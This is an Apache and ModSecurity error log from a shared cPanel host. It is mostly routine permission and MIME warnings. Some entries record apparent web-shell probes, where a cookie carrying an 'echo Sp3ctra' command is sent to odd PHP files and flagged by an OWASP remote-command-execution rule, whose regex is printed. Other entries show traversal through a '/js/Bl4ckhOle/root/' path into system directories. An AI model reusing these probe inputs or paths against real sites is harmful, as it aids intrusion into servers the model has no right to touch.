[Fri Jul 17 08:58:13.438481 2026] [security2:error] [pid 2013797:tid 2013797] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/usr/share/doc/cpanel-php84-xml-parser/examples/xml_parser_file.php"] [unique_id "almhTVh1WDijTxd1xw5M9gAAAAc"]
[Fri Jul 17 08:58:13.535226 2026] [mime:warn] [pid 2028246:tid 2028246] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:58:17.558963 2026] [security2:error] [pid 1993619:tid 1993619] [client 216.73.216.139:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-global": Permission denied [hostname "www.epid.gov.lk"] [uri "/epid/public/robots.txt"] [unique_id "almhUY1dLClkUfK_dfHliAAAAAI"]
[Fri Jul 17 08:58:17.558991 2026] [security2:error] [pid 1993619:tid 1993619] [client 216.73.216.139:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-ip": Permission denied [hostname "www.epid.gov.lk"] [uri "/epid/public/robots.txt"] [unique_id "almhUY1dLClkUfK_dfHliAAAAAI"]
[Fri Jul 17 08:58:29.835030 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:58:32.746759 2026] [security2:error] [pid 2019501:tid 2019501] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almhYLEWOaI5pmYo9fnPawAAAAA"], referer: http://anandaobauae.org/?C=S;O=Duploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpg
[Fri Jul 17 08:58:32.746792 2026] [security2:error] [pid 2019501:tid 2019501] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almhYLEWOaI5pmYo9fnPawAAAAA"], referer: http://anandaobauae.org/?C=S;O=Duploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpg
[Fri Jul 17 08:58:34.678766 2026] [ssl:error] [pid 1993668:tid 1993668] (70014)End of file found: [client 66.85.158.91:33490] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:58:38.664264 2026] [ssl:error] [pid 2032156:tid 2032156] (70014)End of file found: [client 66.85.158.91:33646] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:58:40.545241 2026] [security2:error] [pid 2030955:tid 2030955] [client 85.208.96.202:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "anandaobauae.org"] [uri "/js/Bl4ckhOle/root/home/cagefs-skeleton/usr/lib64/aspell-0.60/standard.kbd"] [unique_id "almhaPwooI4qY7Jg93pWGgAAABM"]
[Fri Jul 17 08:58:40.545277 2026] [security2:error] [pid 2030955:tid 2030955] [client 85.208.96.202:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "anandaobauae.org"] [uri "/js/Bl4ckhOle/root/home/cagefs-skeleton/usr/lib64/aspell-0.60/standard.kbd"] [unique_id "almhaPwooI4qY7Jg93pWGgAAABM"]
[Fri Jul 17 08:58:41.741660 2026] [core:error] [pid 1993572:tid 1993572] (13)Permission denied: [client 57.141.18.40:0] AH00132: file permissions deny server access: /home/anandaob/public_html/js/Bl4ckhOle/root/proc/thread-self/root/sys/devices/system/memory/memory100/node0/memory116/node0/memory3/node0/memory61/subsystem/drivers_probe
[Fri Jul 17 08:58:42.582705 2026] [ssl:error] [pid 2013809:tid 2013809] (70014)End of file found: [client 66.85.158.91:36284] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:58:44.031972 2026] [security2:error] [pid 2018768:tid 2018768] [client 74.7.242.11:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-global": Permission denied [hostname "www.epid.gov.lk"] [uri "/epid/public/index.php"] [unique_id "almha1CBpfuYyhJ140vTWwAAAB4"], referer: https://www.epid.gov.lk/situation-report?filter=2021&page_104=1186&page_105=1108
[Fri Jul 17 08:58:44.032003 2026] [security2:error] [pid 2018768:tid 2018768] [client 74.7.242.11:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-ip": Permission denied [hostname "www.epid.gov.lk"] [uri "/epid/public/index.php"] [unique_id "almha1CBpfuYyhJ140vTWwAAAB4"], referer: https://www.epid.gov.lk/situation-report?filter=2021&page_104=1186&page_105=1108
[Fri Jul 17 08:58:45.841428 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:58:45.846770 2026] [mime:warn] [pid 2028246:tid 2028246] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:58:45.863641 2026] [ssl:error] [pid 2018741:tid 2018741] (70014)End of file found: [client 66.85.158.91:36500] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:58:46.212637 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:58:46.316849 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:58:46.317328 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:58:46.355957 2026] [mime:warn] [pid 2029866:tid 2029866] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:58:46.575848 2026] [mime:warn] [pid 2031172:tid 2031172] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:58:46.662363 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:58:46.821771 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:58:46.829405 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:58:46.906473 2026] [mime:warn] [pid 2030774:tid 2030774] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:58:47.094530 2026] [core:error] [pid 1993671:tid 1993671] (13)Permission denied: [client 47.82.15.203:0] AH00132: file permissions deny server access: /home/anandaob/public_html/js/Bl4ckhOle/root/sys/devices/LNXSYSTM:00/LNXSYBUS:00/PNP0A03:00/device:07/subsystem/drivers_probe
[Fri Jul 17 08:58:47.152315 2026] [mime:warn] [pid 2029866:tid 2029866] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:58:47.256900 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:58:47.345312 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:58:47.374704 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:58:49.129261 2026] [mime:warn] [pid 1993715:tid 1993715] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:58:49.130702 2026] [proxy_fcgi:error] [pid 1993715:tid 1993715] [client 216.73.216.245:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 08:58:49.176475 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:58:49.179198 2026] [mime:warn] [pid 2013809:tid 2013809] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:58:49.234914 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:58:49.235005 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:58:49.235027 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:58:49.265384 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:58:49.281574 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:58:49.281647 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:58:49.281693 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:58:49.298508 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:58:49.298568 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:58:49.298592 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:58:49.323814 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:58:49.323866 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:58:49.356908 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:58:49.356965 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:58:49.356984 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:58:49.359570 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:58:49.373524 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:58:49.373585 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:58:49.373618 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:58:49.374635 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:58:49.374674 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:58:49.374699 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:58:49.374731 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:58:49.374758 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:58:49.374867 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:58:49.374893 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:58:49.374915 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:58:49.374936 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:58:49.375904 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:58:49.375940 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:58:49.375969 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:58:49.375992 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:58:49.376019 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:58:49.376426 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:58:49.376466 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:58:49.376487 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:58:49.376509 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:58:49.376533 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:58:49.376565 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:58:49.376585 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:58:49.376617 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:58:49.376641 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:58:49.544126 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:58:49.647301 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:58:49.647422 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:58:49.647462 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:58:49.647494 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:58:49.647523 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:58:49.647552 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:58:49.647580 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:58:49.647619 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:58:49.647651 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:58:49.647679 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:58:49.647706 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:58:49.647744 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:58:49.647776 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:58:49.647806 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:58:49.647834 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:58:49.647876 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:58:49.647904 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:58:49.647932 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:58:49.647961 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:58:49.647990 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:58:49.648018 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:58:49.648060 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:58:49.648104 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:58:49.648134 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:58:49.648169 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:58:49.648203 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:58:49.648237 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:58:49.648277 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:58:49.648311 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:58:49.648343 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:58:49.648375 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:58:49.648407 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:58:49.648436 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:58:49.648468 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:58:49.648501 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:58:49.648532 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:58:49.648565 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:58:49.648596 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:58:49.648636 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:58:49.648669 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:58:49.648701 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:58:49.648733 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:58:49.648765 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:58:49.648797 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:58:49.648829 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:58:49.648860 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:58:49.648892 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:58:49.648924 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:58:49.648963 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:58:49.648996 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:58:49.649025 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:58:49.649076 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:58:49.649111 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:58:49.649144 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:58:49.649177 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:58:49.649209 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:58:49.649241 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:58:49.649273 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:58:49.649306 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:58:49.704481 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:58:49.728658 2026] [core:error] [pid 1993668:tid 1993668] (13)Permission denied: [client 47.82.13.5:0] AH00132: file permissions deny server access: /home/anandaob/public_html/js/Bl4ckhOle/root/sys/bus/pci/devices/0000:00:06.0/subsystem/uevent
[Fri Jul 17 08:58:49.749762 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:58:49.751022 2026] [proxy_fcgi:error] [pid 2018768:tid 2018768] [client 216.73.216.245:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 08:58:49.854845 2026] [mime:warn] [pid 2031172:tid 2031172] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:58:49.974843 2026] [mime:warn] [pid 2013829:tid 2013829] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:58:50.076564 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:58:50.122153 2026] [mime:warn] [pid 2030774:tid 2030774] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:58:50.165285 2026] [mime:warn] [pid 2018757:tid 2018757] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:58:50.228477 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:58:50.265476 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:58:50.266911 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:58:50.270445 2026] [proxy_fcgi:error] [pid 2030804:tid 2030804] [client 216.73.216.245:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 08:58:50.333870 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:58:50.372357 2026] [mime:warn] [pid 2031172:tid 2031172] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:58:50.390530 2026] [proxy_fcgi:error] [pid 2031172:tid 2031172] [client 216.73.216.245:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 08:58:50.415826 2026] [security2:error] [pid 2013829:tid 2013829] [client 20.46.252.52:0] ModSecurity: Warning. Pattern match "(?:^|=)\\\\s*(?:{|\\\\s*\\\\(\\\\s*|\\\\w+=(?:[^\\\\s]*|\\\\$.*|\\\\$.*|<.*|>.*|\\\\'.*\\\\'|\\".*\\")\\\\s+|!\\\\s*|\\\\$)*\\\\s*(?:'|\\")*(?:[\\\\?\\\\*\\\\[\\\\]\\\\(\\\\)\\\\-\\\\|+\\\\w'\\"\\\\./\\\\\\\\]+/)?[\\\\\\\\'\\"]*(?:l[\\\\\\\\'\\"]*(?:s(?:[\\\\\\\\'\\"]*(?:b[\\\\\\\\'\\"]*_[\\\\\\\\'\\"]*r[\\\\\\\\'\\"]*e[\\\\\\\\'\\"]*l[\\\\\\\\' ..." at REQUEST_COOKIES:g. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "464"] [id "932150"] [msg "Remote Command Execution: Direct Unix Command Execution"] [data "Matched Data: echo  found within REQUEST_COOKIES:g: echo Sp3ctra"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-shell"] [tag "platform-unix"] [tag "attack-rce"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/248/88"] [tag "PCI/6.5.2"] [hostname "lezzarotech.com"] [uri "/wp-plain.php"] [unique_id "almhcg7FYe46zHK_jL3QiQAAABk"], referer: www.google.com
[Fri Jul 17 08:58:50.415923 2026] [security2:error] [pid 2013829:tid 2013829] [client 20.46.252.52:0] ModSecurity: Rule 55dbd8776d00 [id "932150"][file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"][line "464"] - Execution error - PCRE limits exceeded (-47): (null). [hostname "lezzarotech.com"] [uri "/wp-plain.php"] [unique_id "almhcg7FYe46zHK_jL3QiQAAABk"], referer: www.google.com
[Fri Jul 17 08:58:50.421073 2026] [security2:error] [pid 2013829:tid 2013829] [client 20.46.252.52:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "lezzarotech.com"] [uri "/wp-plain.php"] [unique_id "almhcg7FYe46zHK_jL3QiQAAABk"], referer: www.google.com
[Fri Jul 17 08:58:50.477181 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:58:50.477313 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:58:50.506090 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:58:50.646155 2026] [mime:warn] [pid 2018757:tid 2018757] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:58:50.648206 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:58:50.653260 2026] [security2:error] [pid 2013829:tid 2013829] [client 20.46.252.52:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=5,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "lezzarotech.com"] [uri "/index.php"] [unique_id "almhcg7FYe46zHK_jL3QiQAAABk"], referer: www.google.com
[Fri Jul 17 08:58:50.713162 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:58:50.810949 2026] [security2:error] [pid 2018768:tid 2018768] [client 20.46.252.52:0] ModSecurity: Warning. Pattern match "(?:^|=)\\\\s*(?:{|\\\\s*\\\\(\\\\s*|\\\\w+=(?:[^\\\\s]*|\\\\$.*|\\\\$.*|<.*|>.*|\\\\'.*\\\\'|\\".*\\")\\\\s+|!\\\\s*|\\\\$)*\\\\s*(?:'|\\")*(?:[\\\\?\\\\*\\\\[\\\\]\\\\(\\\\)\\\\-\\\\|+\\\\w'\\"\\\\./\\\\\\\\]+/)?[\\\\\\\\'\\"]*(?:l[\\\\\\\\'\\"]*(?:s(?:[\\\\\\\\'\\"]*(?:b[\\\\\\\\'\\"]*_[\\\\\\\\'\\"]*r[\\\\\\\\'\\"]*e[\\\\\\\\'\\"]*l[\\\\\\\\' ..." at REQUEST_COOKIES:g. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "464"] [id "932150"] [msg "Remote Command Execution: Direct Unix Command Execution"] [data "Matched Data: echo  found within REQUEST_COOKIES:g: echo Sp3ctra"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-shell"] [tag "platform-unix"] [tag "attack-rce"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/248/88"] [tag "PCI/6.5.2"] [hostname "lezzarotech.com"] [uri "/bybovxkj.php"] [unique_id "almhclCBpfuYyhJ140vTYQAAAB4"], referer: www.google.com
